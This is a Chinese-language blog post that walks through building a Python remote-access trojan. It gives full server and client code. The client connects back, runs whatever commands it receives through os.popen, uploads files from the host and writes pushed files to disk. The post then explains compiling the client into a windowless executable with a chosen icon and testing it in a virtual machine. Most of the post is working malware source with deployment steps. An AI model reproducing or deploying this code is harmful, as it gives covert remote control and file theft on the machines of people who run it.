Python制作木马病毒程序

Python制作木马病毒程序

tao

2026-01-10 发布62 浏览 · 0 点赞 · 0 收藏

运行终端模拟控制

srever端代码

import socket  
import struct  
import json  
sk=socket.socket(socket.AF_INET,socket.SOCK_STREAM)  
sk.bind(("0.0.0.0",8000))  
sk.listen()  
def recv(conn,total_size):  
    recv_size=0  
    recv_msg=b""  
    while recv_size < total_size:  
        if (total_size-recv_size) >1024:  
            recv_buffer=1024  
        else:  
            recv_buffer=total_size-recv_size  
        recv_data=conn.recv(recv_buffer)  
        recv_msg+=recv_data  
        recv_size+=len(recv_data)  
    return recv_msg  
def put_file(conn,server_file_path,client_file_path):  
    import os  
    import hashlib  
    #首先检查文件是否存在  
    if not os.path.isfile(server_file_path):  
        return False  
    else:  
        #读取本地文件  
        with open(server_file_path,'rb')as f:  
            file_data=f.read()  
        md5=hashlib.md5(file_data).hexdigest()  
        #构造文件头  
        header={  
            'client_file_path':client_file_path,  
            'total_size':len(file_data),  
            'md5':md5  
        }  
        header_data=json.dumps(header).encode('utf-8')  
        conn.send(struct.pack('i',len(header_data)))  
        conn.send(header_data)  
        conn.send(file_data)  
        return True  
while True:  
    print('等待主机上线...')  
    conn,addr=sk.accept()  
    print(f"{addr}已经上线")  
    while True:  
        cmd=input('>>> ')  
        if cmd == 'q':  
            conn.close()  
            break  
        elif cmd.startswith('getfile'):  
            conn.send(cmd.encode('utf-8'))  
            # 接收header的长度信息  
            header_size = struct.unpack('i', conn.recv(4))[0]  
            # 接收header 并且还原为字典  
            header = json.loads(conn.recv(header_size).decode('utf-8'))  
            filename=header['filename']  
            with open(filename,'wb') as f:  
                f.write(recv(conn,header['total_size']))  
                print(f"header:{filename}接收完毕")  
            continue  
        elif cmd.startswith('putfile'):  
            parts = cmd.strip().split()  
            if len(parts) != 3:  
                print("命令格式错误!正确格式:putfile 服务端文件路径 客户端完整文件路径")  
                continue  
            server_file_path = cmd.strip().split()[1]  
            client_file_path = cmd.strip().split()[2]  
            # 发送putfile命令给客户端  
            conn.send(cmd.encode('utf-8'))  
            if put_file(conn, server_file_path,client_file_path):  
                print(f"上传成功:{server_file_path} 已发送到客户端")  
            else:  
                print(f"上传失败:服务端本地文件 {server_file_path} 不存在")  
            continue  
        conn.send(cmd.encode('utf-8'))  
        #接收header的长度信息  
        header_size=struct.unpack('i',conn.recv(4))[0]  
        #接收header 并且还原为字典  
        header=json.loads(conn.recv(header_size).decode('utf-8'))  
        print(f"收到的头部为{header}")  
        #接收数据  
        recv_data=recv(conn,header['total_size'])  
        print(recv_data.decode('utf-8'))

client端代码

import socket  
import struct  
import os  
import hashlib  
import time  
import json  
sk=socket.socket(socket.AF_INET,socket.SOCK_STREAM)  
sk.connect(("127.0.0.1",8000))  
def recv(conn,total_size):  
    recv_size=0  
    recv_msg=b""  
    while recv_size < total_size:  
        if (total_size-recv_size) >1024:  
            recv_buffer=1024  
        else:  
            recv_buffer=total_size-recv_size  
        recv_data=conn.recv(recv_buffer)  
        recv_msg+=recv_data  
        recv_size+=len(recv_data)  
    return recv_msg  
def send(data,filename=None):  
    now=str(time.time())  
    md5=hashlib.md5()  
    md5.update(data)  
    md5.update(now.encode('utf-8'))  
    md5_str=md5.hexdigest()  
    # 构造header数据  
    header=json.dumps({  
        'filename':filename,  
        'md5':md5_str,  
        'time':now,  
        'total_size':len(data)  
    }).encode('utf-8')  
    #先发送header数据的大小  
    header_size=len(header)  
    packet_size=struct.pack('i',header_size)  
    sk.send(packet_size)  
    print(f"已发送{header_size}字节的header数据")  
    #发送header数据  
    sk.send(header)  
    #发送完整数据  
    sk.send(data)  
while True:  
    cmd=sk.recv(1024).decode('utf-8')  
    file_name = None  
    if cmd.startswith('getfile'):  
        file_path=cmd.strip().split()[-1]  
        file_name=file_path.split('\\')[-1]  
        print(file_path)  
        with open(file_path,'rb')as f:  
            data=f.read()  
        send(data, file_name)  
    elif cmd.startswith('putfile'):  
        #接收文件头  
        header_size=struct.unpack('i',sk.recv(4))[0]  
        header=json.loads(sk.recv(header_size).decode('utf-8'))  
        #接收文件数据  
        file_data=recv(sk,header['total_size'])  
        #md5校验  
        if hashlib.md5(file_data).hexdigest()!=header['md5']:  
            pass  
        else:  
            client_file_path=header['client_file_path']  
            #若目录不存在则直接自动创建客户端目录  
            client_dir=os.path.dirname(client_file_path)  
            if not os.path.exists(client_dir):  
                os.makedirs(client_dir,exist_ok=True)  
            #保存文件到客户端  
            with open(client_file_path,'wb')as f:  
                f.write(file_data)  
            print(f"已接收{client_file_path}共{header['total_size']}字节")  
    else:  
        data=os.popen(cmd).read().encode('utf-8')  
        send(data,file_name)  
        print(f"已发送{len(data)}字节的数据")

首先开启server端的监听
然后运行client端
![[file-20251025181515250.png]]

可以实现执行cmd命令、下载、上传文件的功能

编译成exe文件模拟控制

首先需要将client端的连接改成当前主机ip地址
![[file-20251025182731610.png]]

找到client端所在代码的文件夹,打开终端
执行cmd命令

pyinstaller --noconsole -F client7.py

可以通过 -i 来指定图片 作为exe的图标
![[file-20251025182216860.png]]

文件成功生成
![[file-20251025182248143.png]]

打开虚拟机测试
首先在终端开启监听
然后在虚拟机中运行此文件
![[file-20251025182944219.png]]

成功连接
执行远程cmd命令
![[file-20251025183028542.png]]

请前往 登录/注册 即可发表您的看法…